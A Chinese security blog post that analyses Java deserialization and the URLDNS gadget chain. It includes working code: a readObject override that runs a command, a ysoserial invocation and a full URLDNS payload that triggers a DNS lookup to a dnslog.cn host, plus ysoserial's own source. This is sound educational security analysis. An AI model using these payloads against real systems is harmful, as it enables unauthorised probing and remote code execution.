java urldns利用链分析

文章最后更新时间为:2021年06月22日 10:35:04

1. java反序列化

序列化和反序列化是一种常见的编程思想,序列化就是将对象转化成字节流,便于保存在内存、文件或者数据库中(保存此对象的状态),序列化就是将字节流转化为对象。

在java中,某个类只要实现了java.io.Serialization(或者java.io.Externalizable)接口,便可以被序列化。比如下面的类:


import java.io.Serializable;

public class People implements Serializable {
    public String name;
    public int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

上述代码定义了People类,并且实现了Serializable接口,我们便可以对其进行序列化和反序列化操作。

import java.io.*;

public class Test {
    public static void main(String[] args) throws Exception {
        // 初始化对象
        People people = new People();
        people.setName("xiaoming");
        people.setAge(18);


        // 序列化步骤
        // 1. 创建一个ObjectOutputStream输出流
        // 2. 调用ObjectOutputStream对象的writeObject输出可序列化对象
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("/tmp/People.txt")));
        oos.writeObject(people);
        System.out.println("people对象序列化成功!");

        // 反序列化步骤
        // 1. 创建一个ObjectInputStream输入流
        // 2. 调用ObjectInputStream对象的readObject()得到序列化的对象
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("/tmp/People.txt")));
        People people1 = (People) ois.readObject();
        System.out.println("people对象反序列化成功!");
        System.out.println(people1.getName());
        System.out.println(people1.getAge());
    }
}

代码运行结果:

people对象序列化成功!
people对象反序列化成功!
xiaoming
18

序列化过程将字节流保存在/tmp/People.txt中,我们可以在/tmp/People.txt看到序列化后的二进制对象。

$ xxd /tmp/People.txt 
00000000: aced 0005 7372 000d 636c 6173 7332 2e50  ....sr..class2.P
00000010: 656f 706c 651f 23cd 0945 cd0c 4002 0002  eople.#..E..@...
00000020: 4900 0361 6765 4c00 046e 616d 6574 0012  I..ageL..namet..
00000030: 4c6a 6176 612f 6c61 6e67 2f53 7472 696e  Ljava/lang/Strin
00000040: 673b 7870 0000 0012 7400 0878 6961 6f6d  g;xp....t..xiaom
00000050: 696e 67                                  ing

其中开头的aced 0005是java序列化文件的文件头,这是java序列化字节流的一个重要特征。

关于java序列化和反序列化的一些特性,可以阅读参考文章1java序列化,看这篇就够了

在上面的代码中,我们通过调用ObjectInputStream对象的readObject()得到序列化的对象,那么我们如果控制了这个对象的readObject()方法会怎么样?

为了验证想法,我们修改一下People类,重写其readObject()方法:

public class People implements Serializable {
    ......
    // 添加以下方法,重写People类的readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行打开计算器程序命令
        Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
}

运行程序,当执行People people1 = (People) ois.readObject();语句时会调用ois(People类)的readObject方法,弹出计算器:

2021-05-11T04:12:37.png

由此可知控制了某个类的readObject方法便可以在反序列化该类时执行任意操作。事实上大多数java反序列化漏洞都可追溯到readObject方法,改造某个类的readObject()方法使其能够执行命令,然后构造pop链触发该类的反序列化。

可以看看简单的例子是CVE-2016-4437,分析可以看我以前写过的文章:https://saucer-man.com/information_security/396.html#cl-2

2. ysoserial介绍

谈到反序列化,肯定需要了解ysoserial,这是一个开源的java反序列化利用工具,它可以让⽤户根据⾃⼰选择的利⽤链,⽣成反序列化利⽤数据,通过将这些数据发送给⽬标,从⽽执⾏⽤户预先定义的命令,也就是说里面集成了常用的反序列化payload。

项目地址:https://github.com/frohoff/ysoserial

什么是利⽤链?

利⽤链也叫“gadget
chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能
是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的⽅法罢了。

ysoserial的使⽤也很简单,比如利用CommonsCollections利用链执行calc命令:

java -jar ysoserial.jar CommonsCollections1 calc.exe

3. urldns利用链分析

往往我们无法直接控制反序列化的对象,所以也就无法直接改写反序列化的对象的readobject方法,所以我们需要利用已有的类去实现命令执行。

这里先来分析一个最简单的反序列化利用链URLDNS,利用这个链我们可以执行一次dns查询的操作,从而可以快速判断出是否存在反序列化漏洞。因为这个gadget不需要依赖第三方库,不限制jdk版本,且不需要回显,所以被广泛用于poc检测。

完整的urldns利用链条代码如下:

package URLDNS;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        // 定义一个hashMap
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        // 设置我们触发dns查询的url
        URL url = new URL("http://6izjpa.dnslog.cn");
        // 下面在put前修改url的hashcode为非-1的值,put后将hashcode修改为-1
        // 1. 将url的hashCode字段设置为允许修改
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        // 2. 设置url的hashCode字段为任意不为-1的值
        f.set(url, 111);
        System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
        // 3. 将 url 放入 hashMap 中,右边参数随便写
        hashMap.put(url, "xxxx");
        // 4. 修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
        f.set(url, -1);

        //序列化操作
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);

        //反序列化,触发payload
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

运行代码后,在http://www.dnslog.cn/页面发现触发了一次url的dns解析。下面来看为什么会触发这次dns解析,又是在什么时候触发的。

反序列化时,会调用URLDNS类的getObject⽅法,在最后一行的ois.readObject();打上断点,然后开始调试。

进入该readObject方法后,可以step in到HashMap的readObject方法:

2021-06-21T09:13:56.png

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

看最后putVal这一行,putVal是往HashMap中放入键值对的方法,这里调用了hash方法来处理key,跟进hash方法:

2021-06-21T09:16:20.png

hash方法调用了key.hashCode方法,继续跟进这里

2021-06-21T09:17:27.png

如果hashCode不为-1,则直接返回该hashcode,否则调用URLStreamHandler(handler是URLStreamHandler对象)的hashCode方法。继续跟进其hashCode⽅法:

2021-06-21T09:22:00.png

可以看到hashCode方法中调用了getHostAddress方法,正是这步触发了dns请求:

2021-06-21T09:25:40.png

到此整个urldns利用链就执行了。

回过头来看看HashMap的readObject方法,会将key、value放入HashMap对象中,如果key的hashCode为-1,则会对key做一次dns查询操作。所以只要我们构造HashMap对象中,存在某个hashCode为-1的key,则会触发dns操作。

那么为什么构造该对象之前,要把key的hashMap变成非-1的数字呢?

这里可以看一下把key放入hashMap的过程,调试到hashMap的put方法:

2021-06-21T09:36:28.png

可以看到也会调用hash(key)方法,此时也会判断key的hashMap,如果是-1则会触发一次dns请求。

所以在put前,将key的hashMap置为非-1的数,防止触发两次dns请求,混淆我们的判断。

在jdk11下,urldns完整的gadgets为:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

下面来看看ysoserial中代码 https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

可以看到ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀
个SilentURLStreamHandler类,改写了getHostAddress方法,在put一个url到hashMap中时,不会真正触发dns查询请求。

4. 参考文章

  1. java序列化,看这篇就够了
  2. 《Java安全漫谈 - 08.反序列化篇(2) 》代码审计知识星球
  3. Java反序列化 — URLDNS利用链分析
1 + 1 =
快来做第一个评论的人吧~